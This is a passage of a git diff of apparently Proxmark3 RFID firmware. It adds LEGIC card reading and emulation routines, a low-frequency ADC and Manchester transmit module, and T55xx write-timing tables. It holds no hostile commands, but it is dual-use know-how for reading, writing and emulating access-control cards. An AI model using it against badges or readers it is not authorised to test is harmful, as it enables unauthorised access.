- __bss_start__ = .; - *(.bss) - *(.bss.*) - . = ALIGN(4); - __bss_end__ = .; - } >ram AT>ram :bss + __data_src_start__ = LOADADDR(.data); + __data_start__ = ADDR(.data); + __data_end__ = __data_start__ + SIZEOF(.data); + __os_size__ = SIZEOF(.text) + SIZEOF(.data) + SIZEOF(.rodata); + + .bss : { + __bss_start__ = .; + *(.bss) + *(.bss.*) + . = ALIGN(4); + __bss_end__ = .; + } >ram AT>ram :bss - .commonarea (NOLOAD) : { - *(.commonarea) - } >commonarea :NONE + .commonarea (NOLOAD) : { + *(.commonarea) + } >commonarea :NONE } diff --git a/armsrc/legicrf.c b/armsrc/legicrf.c index 1b689550d..35b638298 100644 --- a/armsrc/legicrf.c +++ b/armsrc/legicrf.c @@ -11,11 +11,20 @@ //----------------------------------------------------------------------------- #include "legicrf.h" -#include "ticks.h" /* timers */ #include "crc.h" /* legic crc-4 */ #include "legic_prng.h" /* legic PRNG impl */ #include "legic.h" /* legic_card_select_t struct */ +#include "proxmark3_arm.h" +#include "cmd.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "string.h" +#include "protocols.h" + static uint8_t *legic_mem; /* card memory, used for read, write */ static legic_card_select_t card;/* metadata of currently selected card */ static crc_t legic_crc; @@ -395,6 +404,10 @@ bool write_byte(uint16_t index, uint8_t byte, uint8_t addr_sz) { // // Only this functions are public / called from appmain.c //----------------------------------------------------------------------------- +legic_card_select_t* getLegicCardInfo(void) { + return &card; +} + void LegicRfInfo(void) { // configure ARM and FPGA init_reader(false); @@ -432,6 +445,44 @@ OUT: StopTicks(); } +int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv) { + + int res = PM3_SUCCESS; + + // configure ARM and FPGA + init_reader(false); + + // establish shared secret and detect card type + uint8_t card_type = setup_phase(iv); + if (init_card(card_type, &card) != 0) { + res = PM3_ESOFT; + goto OUT; + } + + // do not read beyond card memory + if (len + offset > card.cardsize) { + len = card.cardsize - offset; + } + + for (uint16_t i = 0; i < len; ++i) { + int16_t byte = read_byte(offset + i, card.cmdsize); + if (byte == -1) { + res = PM3_EOVFLOW; + goto OUT; + } + legic_mem[i] = byte; + + if (i < 4) { + card.uid[i] = byte; + } + } + +OUT: + switch_off(); + StopTicks(); + return res; +} + void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) { // configure ARM and FPGA init_reader(false); @@ -455,6 +506,10 @@ void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv) { goto OUT; } legic_mem[i] = byte; + + if (i < 4) { + card.uid[i] = byte; + } } // OK diff --git a/armsrc/legicrf.h b/armsrc/legicrf.h index 76c392257..ae4c78cdc 100644 --- a/armsrc/legicrf.h +++ b/armsrc/legicrf.h @@ -1,6 +1,7 @@ //----------------------------------------------------------------------------- // (c) 2009 Henryk Plötz // 2018 AntiCat +// 2020 iceman // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -12,10 +13,13 @@ #ifndef __LEGICRF_H #define __LEGICRF_H -#include "proxmark3.h" +#include "common.h" +#include "legic.h" /* legic_card_select_t struct */ void LegicRfInfo(void); +int LegicRfReaderEx(uint16_t offset, uint16_t len, uint8_t iv); void LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv); void LegicRfWriter(uint16_t offset, uint16_t len, uint8_t iv, uint8_t *data); +legic_card_select_t* getLegicCardInfo(void); #endif /* __LEGICRF_H */ diff --git a/armsrc/legicrfsim.c b/armsrc/legicrfsim.c index 0500e3e32..bbec86fa5 100644 --- a/armsrc/legicrfsim.c +++ b/armsrc/legicrfsim.c @@ -9,13 +9,20 @@ //----------------------------------------------------------------------------- // LEGIC RF simulation code //----------------------------------------------------------------------------- +#include "legicrfsim.h" #include "legicrf.h" -#include "ticks.h" /* timers */ #include "crc.h" /* legic crc-4 */ #include "legic_prng.h" /* legic PRNG impl */ #include "legic.h" /* legic_card_select_t struct */ +#include "proxmark3_arm.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" + static uint8_t *legic_mem; /* card memory, used for sim */ static legic_card_select_t card;/* metadata of currently selected card */ static crc_t legic_crc; @@ -453,12 +460,12 @@ void LegicRfSimulate(uint8_t cardtype) { // verify command line input if (init_card(cardtype, &card) != 0) { - DbpString("Unknown tagtype."); + DbpString("[!] Unknown tagtype."); goto OUT; } LED_A_ON(); - DbpString("Starting Legic emulator, press button to end"); + DbpString("[=] Starting Legic emulator, press " _YELLOW_("button") "to end"); while (!BUTTON_PRESS() && !data_available()) { WDT_HIT(); @@ -479,7 +486,7 @@ void LegicRfSimulate(uint8_t cardtype) { } OUT: - DbpString("Stopped"); + DbpString("[=] Sim stopped"); switch_off(); StopTicks(); } diff --git a/armsrc/legicrfsim.h b/armsrc/legicrfsim.h index 27fce129b..f7be94165 100644 --- a/armsrc/legicrfsim.h +++ b/armsrc/legicrfsim.h @@ -12,8 +12,8 @@ #ifndef __LEGICRFSIM_H #define __LEGICRFSIM_H -#include "proxmark3.h" +#include "common.h" -void LegicRfSimulate(uint8_t tagtype); +void LegicRfSimulate(uint8_t cardtype); #endif /* __LEGICRFSIM_H */ diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c new file mode 100644 index 000000000..0a85312bc --- /dev/null +++ b/armsrc/lfadc.c @@ -0,0 +1,319 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF ADC read/write implementation +//----------------------------------------------------------------------------- + +#include "lfadc.h" +#include "lfsampling.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" + +// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK) +// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz +// Carrier periods (T0) have duration of 8 microseconds (us), which is 1/125000 per second +// T0 = TIMER_CLOCK1 / 125000 = 192 +//#define T0 192 + +// Sam7s has three counters, we will use the first TIMER_COUNTER_0 (aka TC0) +// using TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK) +// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz +// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency) +// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6 +//#define HITAG_T0 3 + +////////////////////////////////////////////////////////////////////////////// +// Global variables +////////////////////////////////////////////////////////////////////////////// + +bool rising_edge = false; +bool logging = true; +bool reader_mode = false; + +////////////////////////////////////////////////////////////////////////////// +// Auxiliary functions +////////////////////////////////////////////////////////////////////////////// + +bool lf_test_periods(size_t expected, size_t count) { + // Compute 10% deviation (integer operation, so rounded down) + size_t diviation = expected / 10; + return ((count > (expected - diviation)) && (count < (expected + diviation))); +} + +////////////////////////////////////////////////////////////////////////////// +// Low frequency (LF) adc passthrough functionality +////////////////////////////////////////////////////////////////////////////// +uint8_t previous_adc_val = 0; +uint8_t adc_avg = 0; + +void lf_sample_mean(void) { + uint8_t periods = 0; + uint32_t adc_sum = 0; + while (periods < 32) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + adc_sum += AT91C_BASE_SSC->SSC_RHR; + periods++; + } + } + // division by 32 + adc_avg = adc_sum >> 5; + + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("LF ADC average %u", adc_avg); +} + +size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { + size_t periods = 0; + volatile uint8_t adc_val; + uint8_t avg_peak = adc_avg + 3, avg_through = adc_avg - 3; +// int16_t checked = 0; + + while (!BUTTON_PRESS()) { + + // only every 100th times, in order to save time when collecting samples. + /* + if (checked == 1000) { + if (data_available()) { + break; + } else { + checked = 0; + } + } + ++checked; + */ + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + adc_val = AT91C_BASE_SSC->SSC_RHR; + periods++; + + if (logging) logSampleSimple(adc_val); + + // Only test field changes if state of adc values matter + if (wait == false) { + // Test if we are locating a field modulation (100% ASK = complete field drop) + if (detect_gap) { + // Only return when the field completely dissapeared + if (adc_val == 0) { + return periods; + } + } else { + // Trigger on a modulation swap by observing an edge change + if (rising_edge) { + if ((previous_adc_val > avg_peak) && (adc_val <= previous_adc_val)) { + rising_edge = false; + return periods; + } + } else { + if ((previous_adc_val < avg_through) && (adc_val >= previous_adc_val)) { + rising_edge = true; + return periods; + } + } + } + } + previous_adc_val = adc_val; + + if (periods >= max) return 0; + } + } + if (logging) logSampleSimple(0xFF); + return 0; +} + +size_t lf_count_edge_periods(size_t max) { + return lf_count_edge_periods_ex(max, false, false); +} + +size_t lf_detect_gap(size_t max) { + return lf_count_edge_periods_ex(max, false, true); +} + +void lf_reset_counter() { + + // TODO: find out the correct reset settings for tag and reader mode +// if (reader_mode) { + // Reset values for reader mode + rising_edge = false; + previous_adc_val = 0xFF; + +// } else { + // Reset values for tag/transponder mode +// rising_edge = false; +// previous_adc_val = 0xFF; +// } +} + +bool lf_get_tag_modulation() { + return (rising_edge == false); +} + +bool lf_get_reader_modulation() { + return rising_edge; +} + +void lf_wait_periods(size_t periods) { + lf_count_edge_periods_ex(periods, true, false); +} + +void lf_init(bool reader, bool simulate) { + + StopTicks(); + + reader_mode = reader; + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + sample_config *sc = getSamplingConfig(); + sc->decimation = 1; + sc->averaging = 0; + + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, sc->divisor); + if (reader) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + } else { + if (simulate) +// FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + else + // Sniff + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE); + + } + + // Connect the A/D to the peak-detected low-frequency path. + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + + // Now set up the SSC to get the ADC samples that are now streaming at us. + FpgaSetupSsc(); + + // When in reader mode, give the field a bit of time to settle. + // 313T0 = 313 * 8us = 2504us = 2.5ms Hitag2 tags needs to be fully powered. + if (reader) { + // 10 ms + SpinDelay(10); + } + + // Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + LOW(GPIO_SSC_DOUT); + + // Enable peripheral Clock for TIMER_CLOCK 0 + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; + + // Enable peripheral Clock for TIMER_CLOCK 1 + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; + + // Clear all leds + LEDsoff(); + + // Reset and enable timers + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Prepare data trace + uint32_t bufsize = 10000; + + // use malloc + if (logging) initSampleBufferEx(&bufsize, true); + + lf_sample_mean(); +} + +void lf_finalize() { + // Disable timers + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // return stolen pin to SSP + AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT; + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + LEDsoff(); + + StartTicks(); +} + +size_t lf_detect_field_drop(size_t max) { + size_t periods = 0; +// int16_t checked = 0; + + while (!BUTTON_PRESS()) { + + /* + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; + */ + + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + periods++; + volatile uint8_t adc_val = AT91C_BASE_SSC->SSC_RHR; + + if (logging) logSampleSimple(adc_val); + + if (adc_val == 0) { + rising_edge = false; + return periods; + } + + if (periods == max) return 0; + } + } + return 0; +} + +void lf_modulation(bool modulation) { + if (modulation) { + HIGH(GPIO_SSC_DOUT); + } else { + LOW(GPIO_SSC_DOUT); + } +} + +// simulation +static void lf_manchester_send_bit(uint8_t bit) { + lf_modulation(bit != 0); + lf_wait_periods(16); + lf_modulation(bit == 0); + lf_wait_periods(32); +} + +// simulation +bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) { + + LED_B_ON(); + + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + + // Send the content of the frame + for (size_t i = 0; i < frame_len; i++) { + lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + } + + LED_B_OFF(); + return true; +} diff --git a/armsrc/lfadc.h b/armsrc/lfadc.h new file mode 100644 index 000000000..09e5762c6 --- /dev/null +++ b/armsrc/lfadc.h @@ -0,0 +1,37 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF ADC read/write implementation +//----------------------------------------------------------------------------- + +#ifndef __LFADC_H__ +#define __LFADC_H__ + +#include "proxmark3_arm.h" +#include "common.h" +#include "cmd.h" +#include "util.h" +#include "string.h" + +extern bool logging; + +void lf_sample_mean(void); +bool lf_test_periods(size_t expected, size_t count); +size_t lf_count_edge_periods(size_t max); +size_t lf_detect_gap(size_t max); +void lf_reset_counter(); + +bool lf_get_tag_modulation(); +bool lf_get_reader_modulation(); + +void lf_wait_periods(size_t periods); +//void lf_init(bool reader); +void lf_init(bool reader, bool simulate); +void lf_finalize(); +size_t lf_detect_field_drop(size_t max); +bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len); +void lf_modulation(bool modulation); + +#endif // __LFADC_H__ diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 09a1632cb..904d37c61 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -8,78 +8,305 @@ // Also routines for raw mode reading/simulating of LF waveform //----------------------------------------------------------------------------- -#include "proxmark3.h" -#include "apps.h" +#include "lfops.h" + +#include "proxmark3_arm.h" +#include "cmd.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" #include "util.h" -#include "hitag2.h" +#include "commonutil.h" + #include "crc16.h" #include "string.h" +#include "printf.h" #include "lfdemod.h" #include "lfsampling.h" #include "protocols.h" -#include "usb_cdc.h" // for usb_poll_validate_length -#include "common.h" -#include "flashmem.h" // persistence on mem +#include "pmflash.h" +#include "flashmem.h" // persistence on flash + +/* +Notes about EM4xxx timings. + +The timing values differs between cards, we got EM410x, EM43x5, EM445x etc. +We are trying to unify and enable the Proxmark to easily detect and select correct timings automatic. +The measures from datasheets doesn't always match correct the hardware features of RDV4 antenans and we still wanted to let other devices with other custom antennas +still benefit from this repo. This is why its configurable and we use to set these dynamic settings in device external flash memory. -//#define START_GAP 31*8 // was 250 // SPEC: 1*8 to 50*8 - typ 15*8 (15fc) -//#define WRITE_GAP 8*8 // 17*8 // was 160 // SPEC: 1*8 to 20*8 - typ 10*8 (10fc) -//#define WRITE_0 15*8 // 18*8 // was 144 // SPEC: 16*8 to 32*8 - typ 24*8 (24fc) -//#define WRITE_1 47*8 // 50*8 // was 400 // SPEC: 48*8 to 64*8 - typ 56*8 (56fc) 432 for T55x7; 448 for E5550 -//#define READ_GAP 15*8 // VALUES TAKEN FROM EM4x function: SendForward -// START_GAP = 440; (55*8) cycles at 125Khz (8us = 1cycle) +// START_GAP = 440; (55*8) cycles at 125kHz (8us = 1cycle) // WRITE_GAP = 128; (16*8) // WRITE_1 = 256 32*8; (32*8) // These timings work for 4469/4269/4305 (with the 55*8 above) // WRITE_0 = 23*8 , 9*8 -// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK) -// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz -// Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) -// T0 = TIMER_CLOCK1 / 125000 = 192 -// 1 Cycle = 8 microseconds(us) == 1 field clock +Not about ARM TIMERS +Short note about timers on Proxmark device ARM. They are a bit differently implemented and gives decent correctness. -// new timer: -// = 1us = 1.5ticks -// 1fc = 8us = 12ticks -/* -Default LF T55xx config is set to: - startgap = 31*8 - writegap = 17*8 - write_0 = 15*8 - write_1 = 47*8 - read_gap = 15*8 +SAM7S has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK) + TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz + +New timer implemenation in ticks.c, which is used in LFOPS.c + 1 μs = 1.5 ticks + 1 fc = 8 μs = 12 ticks + +Terms you find in different datasheets and how they match. +1 Cycle = 8 microseconds (μs) == 1 field clock (fc) + +Note about HITAG timing +Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) + T0 = TIMER_CLOCK1 / 125000 = 192 + + + ========================================================================================================== + T55x7 Timing + ========================================================================================================== + + ATA5577 Downlink Protocol Timings. + Note: All absolute times assume TC = 1 / fC = 8 μs (fC = 125 kHz) + + Note: These timings are from the datasheet and doesn't map the best to the features of the RVD4 LF antenna. + RDV4 LF antenna has high voltage and the drop of power when turning off the rf field takes about 1-2 TC longer. + + ----------------------------------------------------------------------- + Fixed-bit-length Protocol | Normal Downlink | Fast Downlink | + ------------------------------+-----------------------------------+-----------------------------------+------ +| Parameter | Remark | Symbol | Min. | Typ. | Max. | Min. | Typ. | Max. | Unit | +|------------+--------+--------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| Start gap | | Sgap | 8 | 15 | 50 | 8 | 15 | 50 | Tc | +| Write gap | | Wgap | 8 | 10 | 20 | 8 | 10 | 20 | Tc | +|------------+--------+--------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| coding | 0 data | d0 | 16 | 24 | 32 | 8 | 12 | 16 | Tc | +| | 1 data | d1 | 48 | 56 | 64 | 24 | 28 | 32 | Tc | + ------------------------------------------------------------------------------------------------------------- + + ----------------------------------------------------------------------- + Long Leading Reference | Normal Downlink | Fast Downlink | + ------------------------------+-----------------------------------+-----------------------------------+------ +| Parameter | Remark | Symbol | Min. | Typ. | Max. | Min. | Typ. | Max. | Unit | +|-----------+--------+---------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| Start gap | | Sgap | 8 | 10 | 50 | 8 | 10 | 50 | Tc | +| Write gap | | Wgap | 8 | 10 | 20 | 8 | 10 | 20 | Tc | +|-----------+--------+---------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| Write | Ref | | 152 | 160 | 168 | 140 | 144 | 148 | Tc | +| data | Pulse | dref | 136 clocks + 0 data bit | 132 clocks + 0 data bit | Tc | +| coding |--------+---------+-----------------------------------+-----------------------------------+------| +| | 0 data | d0 |dref – 143 |dref – 136 |dref – 128 |dref – 135 |dref – 132 |dref – 124 | Tc | +| | 1 data | d1 |dref – 111 |dref – 104 |dref – 96 |dref – 119 |dref – 116 |dref – 112 | Tc | + ------------------------------------------------------------------------------------------------------------- + + ----------------------------------------------------------------------- + Leading-zero Reference | Normal Downlink | Fast Downlink | + ------------------------------+-----------------------------------+-----------------------------------+------ +| Parameter | Remark | Symbol | Min. | Typ. | Max. | Min. | Typ. | Max. | Unit | +|-----------+--------+---------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| Start gap | | Sgap | 8 | 10 | 50 | 8 | 10 | 50 | Tc | +| Write gap | | Wgap | 8 | 10 | 20 | 8 | 10 | 20 | Tc | +|-----------+--------+---------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| Write | Ref | dref | 12 | – | 72 | 8 | – | 68 | Tc | +| data | 0 data | d0 | dref – 7 | dref | dref + 8 | dref – 3 | dref | dref + 4 | Tc | +| coding | 1 data | d1 | dref + 9 | dref + 16 | dref + 24 | dref + 5 | dref + 8 | dref + 12 | Tc | + ------------------------------------------------------------------------------------------------------------- + + ----------------------------------------------------------------------- + 1-of-4 Coding | Normal Downlink | Fast Downlink | + ------------------------------+-----------------------------------+-----------------------------------+------ +| Parameter | Remark | Symbol | Min. | Typ. | Max. | Min. | Typ. | Max. | Unit | +|-----------+--------+---------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| Start gap | | Sgap | 8 | 10 | 50 | 8 | 10 | 50 | Tc | +| Write gap | | Wgap | 8 | 10 | 20 | 8 | 10 | 20 | Tc | +|-----------+--------+---------+-----------+-----------+-----------+-----------+-----------+-----------+------| +| Write | Ref 00 | dref | 8 | – | 68 | 12 | – | 72 | Tc | +| data |00 data | d00 | dref – 7 | dref | dref + 8 | dref – 3 | dref | dref+ 4 | Tc | +| coding |01 data | d01 | dref + 9 | dref + 16 | dref + 24 | dref + 5 | dref + 8 | dref + 12 | Tc | +| |10 data | d10 | dref + 25 | dref + 32 | dref + 40 | dref + 13 | dref + 16 | dref + 20 | Tc | +| |11 data | d11 | dref + 41 | dref + 48 | dref + 56 | dref + 21 | dref + 24 | dref + 28 | Tc | + ------------------------------------------------------------------------------------------------------------- + +Initial values if not in flash + + SG = Start gap + WG = Write gap + RG = Read gap + + Explainations for array T55xx_Timing below + + 0 1 2 3 + SG WG Bit 00 Bit 01 Bit 10 Bit 11 RG + -------------------------------------------------------------------- + { 29 , 17 , 15 , 47 , 0 , 0 , 15 }, // Default Fixed + { 29 , 17 , 15 , 50 , 0 , 0 , 15 }, // Long Leading Ref. + { 29 , 17 , 15 , 40 , 0 , 0 , 15 }, // Leading 0 + { 29 , 17 , 15 , 31 , 47 , 63 , 15 } // 1 of 4 */ -t55xx_config t_config = { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8 } ; +t55xx_configurations_t T55xx_Timing = { + { +#ifdef WITH_FLASH +// PM3RDV4 + { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Default Fixed + { 29 * 8, 17 * 8, 15 * 8, 47 * 8, 15 * 8, 0, 0 }, // Long Leading Ref. + { 29 * 8, 17 * 8, 15 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0 + { 29 * 8, 17 * 8, 15 * 8, 31 * 8, 15 * 8, 47 * 8, 63 * 8 } // 1 of 4 +#else +// PM3OTHER or like offical repo + { 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Default Fixed + { 31 * 8, 20 * 8, 18 * 8, 50 * 8, 15 * 8, 0, 0 }, // Long Leading Ref. + { 31 * 8, 20 * 8, 18 * 8, 40 * 8, 15 * 8, 0, 0 }, // Leading 0 + { 31 * 8, 20 * 8, 18 * 8, 34 * 8, 15 * 8, 50 * 8, 66 * 8 } // 1 of 4 +#endif + } +}; -void printT55xxConfig(void) { - DbpString(_BLUE_("LF T55XX config")); - Dbprintf(" [a] startgap............%d*8 (%d)", t_config.start_gap / 8, t_config.start_gap); - Dbprintf(" [b] writegap............%d*8 (%d)", t_config.write_gap / 8, t_config.write_gap); - Dbprintf(" [c] write_0.............%d*8 (%d)", t_config.write_0 / 8, t_config.write_0); - Dbprintf(" [d] write_1.............%d*8 (%d)", t_config.write_1 / 8, t_config.write_1); - Dbprintf(" [e] readgap.............%d*8 (%d)", t_config.read_gap / 8, t_config.read_gap); + +// Some defines for readability +#define T55XX_DLMODE_FIXED 0 // Default Mode +#define T55XX_DLMODE_LLR 1 // Long Leading Reference +#define T55XX_DLMODE_LEADING_ZERO 2 // Leading Zero +#define T55XX_DLMODE_1OF4 3 // 1 of 4 +#define T55XX_LONGLEADINGREFERENCE 4 // Value to tell Write Bit to send long reference + +// ATA55xx shared presets & routines +static uint32_t GetT55xxClockBit(uint32_t clock) { + switch (clock) { + case 128: + return T55x7_BITRATE_RF_128; + case 100: + return T55x7_BITRATE_RF_100; + case 64: + return T55x7_BITRATE_RF_64; + case 50: + return T55x7_BITRATE_RF_50; + case 40: + return T55x7_BITRATE_RF_40; + case 32: + return T55x7_BITRATE_RF_32; + case 16: + return T55x7_BITRATE_RF_16; + case 8: + return T55x7_BITRATE_RF_8; + default : + return 0; + } } -void setT55xxConfig(uint8_t arg0, t55xx_config *c) { +void printT55xxConfig(void) { - if (c->start_gap != 0) t_config.start_gap = c->start_gap; - if (c->write_gap != 0) t_config.write_gap = c->write_gap; - if (c->write_0 != 0) t_config.write_0 = c->write_0; - if (c->write_1 != 0) t_config.write_1 = c->write_1; - if (c->read_gap != 0) t_config.read_gap = c->read_gap; +#define PRN_NA sprintf(s + strlen(s), _RED_("N/A") "| "); + + DbpString(_BLUE_("LF T55XX config")); + Dbprintf(" [r] [a] [b] [c] [d] [e] [f] [g]"); + Dbprintf(" mode |start|write|write|write| read|write|write"); + Dbprintf(" | gap | gap | 0 | 1 | gap | 2 | 3"); + Dbprintf("---------------------------+-----+-----+-----+-----+-----+-----+------"); + + for (uint8_t i = 0; i < 4; i++) { + + char s[160]; + memset(s, 0, sizeof(s)); + + switch (i) { + case T55XX_DLMODE_FIXED : + sprintf(s, _YELLOW_("fixed bit length") _GREEN_("(default)") "|"); + break; + case T55XX_DLMODE_LLR : + sprintf(s, _YELLOW_(" long leading reference") "|"); + break; + case T55XX_DLMODE_LEADING_ZERO : + sprintf(s, _YELLOW_(" leading zero") "|"); + break; + case T55XX_DLMODE_1OF4 : + sprintf(s, _YELLOW_(" 1 of 4 coding reference") "|"); + break; + default: + break; + } + + if (T55xx_Timing.m[i].start_gap != 0xFFFF) + sprintf(s + strlen(s), " %3d | ", T55xx_Timing.m[i].start_gap / 8); + else + PRN_NA; + + if (T55xx_Timing.m[i].write_gap != 0xFFFF) + sprintf(s + strlen(s), "%3d | ", T55xx_Timing.m[i].write_gap / 8); + else + PRN_NA; + + if (T55xx_Timing.m[i].write_0 != 0xFFFF) + sprintf(s + strlen(s), "%3d | ", T55xx_Timing.m[i].write_0 / 8); + else + PRN_NA; + + if (T55xx_Timing.m[i].write_1 != 0xFFFF) + sprintf(s + strlen(s), "%3d | ", T55xx_Timing.m[i].write_1 / 8); + else + PRN_NA; + + if (T55xx_Timing.m[i].read_gap != 0xFFFF) + sprintf(s + strlen(s), "%3d | ", T55xx_Timing.m[i].read_gap / 8); + else + PRN_NA; + + if (T55xx_Timing.m[i].write_2 != 0xFFFF && i == T55XX_DLMODE_1OF4) + sprintf(s + strlen(s), "%3d | ", T55xx_Timing.m[i].write_2 / 8); + else + PRN_NA + + if (T55xx_Timing.m[i].write_3 != 0xFFFF && i == T55XX_DLMODE_1OF4) + sprintf(s + strlen(s), "%3d | ", T55xx_Timing.m[i].write_3 / 8); + else + PRN_NA; + + s[strlen(s)] = 0; + DbpString(s); + } + DbpString(""); +} + +void setT55xxConfig(uint8_t arg0, t55xx_configurations_t *c) { + for (uint8_t i = 0; i < 4; i++) { + if (c->m[i].start_gap != 0) + T55xx_Timing.m[i].start_gap = c->m[i].start_gap; + + if (c->m[i].write_gap != 0) + T55xx_Timing.m[i].write_gap = c->m[i].write_gap; + + if (c->m[i].write_0 != 0) + T55xx_Timing.m[i].write_0 = c->m[i].write_0; + + if (c->m[i].write_1 != 0) + T55xx_Timing.m[i].write_1 = c->m[i].write_1; + + if (i == T55XX_DLMODE_1OF4) { + if (c->m[i].write_2 != 0) + T55xx_Timing.m[i].write_2 = c->m[i].write_2; + + if (c->m[i].write_3 != 0) + T55xx_Timing.m[i].write_3 = c->m[i].write_3; + + } else { + T55xx_Timing.m[i].write_2 = 0x00; + T55xx_Timing.m[i].write_3 = 0x00; + } + if (c->m[i].read_gap != 0) + T55xx_Timing.m[i].read_gap = c->m[i].read_gap; + } printT55xxConfig(); #ifdef WITH_FLASH // shall persist to flashmem if (arg0 == 0) { + BigBuf_free(); return; } if (!FlashInit()) { + BigBuf_free(); return; } @@ -92,27 +319,31 @@ void setT55xxConfig(uint8_t arg0, t55xx_config *c) { return; } - memcpy(buf, &t_config, T55XX_CONFIG_LEN); + memcpy(buf, &T55xx_Timing, T55XX_CONFIG_LEN); + // delete old configuration Flash_CheckBusy(BUSY_TIMEOUT); Flash_WriteEnable(); Flash_Erase4k(3, 0xD); + + // write new res = Flash_Write(T55XX_CONFIG_OFFSET, buf, T55XX_CONFIG_LEN); if (res == T55XX_CONFIG_LEN && DBGLEVEL > 1) { - DbpString("T55XX Config save success"); + DbpString("T55XX Config save " _GREEN_("success")); } BigBuf_free(); #endif } -t55xx_config *getT55xxConfig(void) { - return &t_config; +t55xx_configurations_t *getT55xxConfig(void) { + return &T55xx_Timing;//_FixedBit; } void loadT55xxConfig(void) { #ifdef WITH_FLASH + if (!FlashInit()) { return; } @@ -134,7 +365,8 @@ void 